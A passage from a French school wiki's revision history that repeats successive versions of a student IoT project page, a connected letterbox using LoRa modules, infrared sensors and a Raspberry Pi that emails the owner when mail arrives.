série, le signal du module signifiant qu'un courrier a été inséré dans la BAL. Une fois ce signal reçu, elle s'occupera d'envoyer un mail à l'utilisateur pour le prévenir.<br /> <br /> Le module dans la BAL sera constitué d'un module LoRa alimenté par une batterie, qui alimentera le capteur de luminosité, les différentes LED émettrices, et récupérera les valeurs en sorties des 4 récepteurs infrarouges. Tant que les récepteurs recevront un signal, le facteur ne sera pas passé. Mais lorsqu'un courrier sera inséré dans la BAL, le capteur de luminosité captera le la lumière passant par la fente de la BAL, et une ou plusieurs connections IR seront coupées. C'est à cet instant que le module LoRa enverra le signal de réception au récepteur connecté à la Raspberry.<br /> <br /> Si seul le capteur de luminosité reçoit de la lumière, et que les connections IR restent actives, cela signifiera que seule la fente a été ouverte, mais qu'aucun courrier n'a été livré.<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * Réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée<br /> <br /> ===Séance 3===<br /> * Finalisation du code pour la communication entre Arduinos<br /> * Création d'un programme en langage C pour le traitement des informations reçues par l'Arduino<br /> * Mise en place d'un prototype<br /> * Création d'une interface web pour le choix de l'adresse mail et du corps du message envoyé<br /> * Edition du poster A3</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Fichier:Bal.png&diff=37263 2017-01-15T14:46:31Z

<p>Rruet : </p> <hr /> <div></div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=37262 2017-01-15T14:43:38Z

<p>Rruet : </p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:IoT2.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> * contreplaqué pour la découpe de la boîte &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Description technique du Projet==<br /> <br /> Notre objet connecté sera constitué de deux parties distinctes :<br /> * Une raspberry connectée à Internet (potentiel routeur de l'utilisateur)<br /> * Le module à insérer dans la BAL<br /> <br /> La raspberry aura pour fonction de recevoir, via un module LoRa connecté sur son port série, le signal du module signifiant qu'un courrier a été inséré dans la BAL. Une fois ce signal reçu, elle s'occupera d'envoyer un mail à l'utilisateur pour le prévenir.<br /> <br /> Le module dans la BAL sera constitué d'un module LoRa alimenté par une batterie, qui alimentera le capteur de luminosité, les différentes LED émettrices, et récupérera les valeurs en sorties des 4 récepteurs infrarouges. Tant que les récepteurs recevront un signal, le facteur ne sera pas passé. Mais lorsqu'un courrier sera inséré dans la BAL, le capteur de luminosité captera le la lumière passant par la fente de la BAL, et une ou plusieurs connections IR seront coupées. C'est à cet instant que le module LoRa enverra le signal de réception au récepteur connecté à la Raspberry.<br /> <br /> Si seul le capteur de luminosité reçoit de la lumière, et que les connections IR restent actives, cela signifiera que seule la fente a été ouverte, mais qu'aucun courrier n'a été livré.<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * Réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée<br /> <br /> ===Séance 3===<br /> * Finalisation du code pour la communication entre Arduinos<br /> * Création d'un programme en langage C pour le traitement des informations reçues par l'Arduino<br /> * Mise en place d'un prototype<br /> * Création d'une interface web pour le choix de l'adresse mail et du corps du message envoyé<br /> * Edition du poster A3</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Fichier:IoT.png&diff=37261 2017-01-15T14:43:00Z

<p>Rruet : a téléversé une nouvelle version de « Fichier:IoT.png »</p> <hr /> <div></div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Fichier:IoT.png&diff=37260 2017-01-15T14:42:21Z

<p>Rruet : a téléversé une nouvelle version de « Fichier:IoT.png »</p> <hr /> <div></div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=37107 2017-01-10T07:43:33Z

<p>Rruet : /* Matériel nécessaire */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:IoT.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> * contreplaqué pour la découpe de la boîte &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Description technique du Projet==<br /> <br /> Notre objet connecté sera constitué de deux parties distinctes :<br /> * Une raspberry connectée à Internet (potentiel routeur de l'utilisateur)<br /> * Le module à insérer dans la BAL<br /> <br /> La raspberry aura pour fonction de recevoir, via un module LoRa connecté sur son port série, le signal du module signifiant qu'un courrier a été inséré dans la BAL. Une fois ce signal reçu, elle s'occupera d'envoyer un mail à l'utilisateur pour le prévenir.<br /> <br /> Le module dans la BAL sera constitué d'un module LoRa alimenté par une batterie, qui alimentera le capteur de luminosité, les différentes LED émettrices, et récupérera les valeurs en sorties des 4 récepteurs infrarouges. Tant que les récepteurs recevront un signal, le facteur ne sera pas passé. Mais lorsqu'un courrier sera inséré dans la BAL, le capteur de luminosité captera le la lumière passant par la fente de la BAL, et une ou plusieurs connections IR seront coupées. C'est à cet instant que le module LoRa enverra le signal de réception au récepteur connecté à la Raspberry.<br /> <br /> Si seul le capteur de luminosité reçoit de la lumière, et que les connections IR restent actives, cela signifiera que seule la fente a été ouverte, mais qu'aucun courrier n'a été livré.<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * Réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36953 2017-01-05T16:50:01Z

<p>Rruet : /* Étapes du projet */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:IoT.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc <br /> * contreplaqué pour la découpe de la boîte.<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Description technique du Projet==<br /> <br /> Notre objet connecté sera constitué de deux parties distinctes :<br /> * Une raspberry connectée à Internet (potentiel routeur de l'utilisateur)<br /> * Le module à insérer dans la BAL<br /> <br /> La raspberry aura pour fonction de recevoir, via un module LoRa connecté sur son port série, le signal du module signifiant qu'un courrier a été inséré dans la BAL. Une fois ce signal reçu, elle s'occupera d'envoyer un mail à l'utilisateur pour le prévenir.<br /> <br /> Le module dans la BAL sera constitué d'un module LoRa alimenté par une batterie, qui alimentera le capteur de luminosité, les différentes LED émettrices, et récupérera les valeurs en sorties des 4 récepteurs infrarouges. Tant que les récepteurs recevront un signal, le facteur ne sera pas passé. Mais lorsqu'un courrier sera inséré dans la BAL, le capteur de luminosité captera le la lumière passant par la fente de la BAL, et une ou plusieurs connections IR seront coupées. C'est à cet instant que le module LoRa enverra le signal de réception au récepteur connecté à la Raspberry.<br /> <br /> Si seul le capteur de luminosité reçoit de la lumière, et que les connections IR restent actives, cela signifiera que seule la fente a été ouverte, mais qu'aucun courrier n'a été livré.<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36952 2017-01-05T16:36:17Z

<p>Rruet : /* Séance 2 */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:IoT.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc <br /> * contreplaqué pour la découpe de la boîte.<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36951 2017-01-05T16:31:25Z

<p>Rruet : /* Matériel nécessaire */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:IoT.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc <br /> * contreplaqué pour la découpe de la boîte.<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36712 2017-01-03T13:45:49Z

<p>Rruet : </p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:IoT.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:red&quot;&gt;[non reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:red&quot;&gt;[non reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc<br /> * contreplaqué pour la découpe de la boîte.<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36711 2017-01-03T13:41:37Z

<p>Rruet : </p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:IoT.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:red&quot;&gt;[non reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:red&quot;&gt;[non reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc<br /> * contreplaqué pour la découpe de la boîte.<br /> <br /> ==Étapes du projet==<br /> ===Séance 1===<br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36709 2017-01-03T13:39:07Z

<p>Rruet : /* Matériel nécessaire */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:IoT.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:red&quot;&gt;[non reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:red&quot;&gt;[non reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc<br /> * contreplaqué pour la découpe de la boîte.<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36679 2017-01-03T10:39:43Z

<p>Rruet : /* Objectif du projet */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:IoT.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de 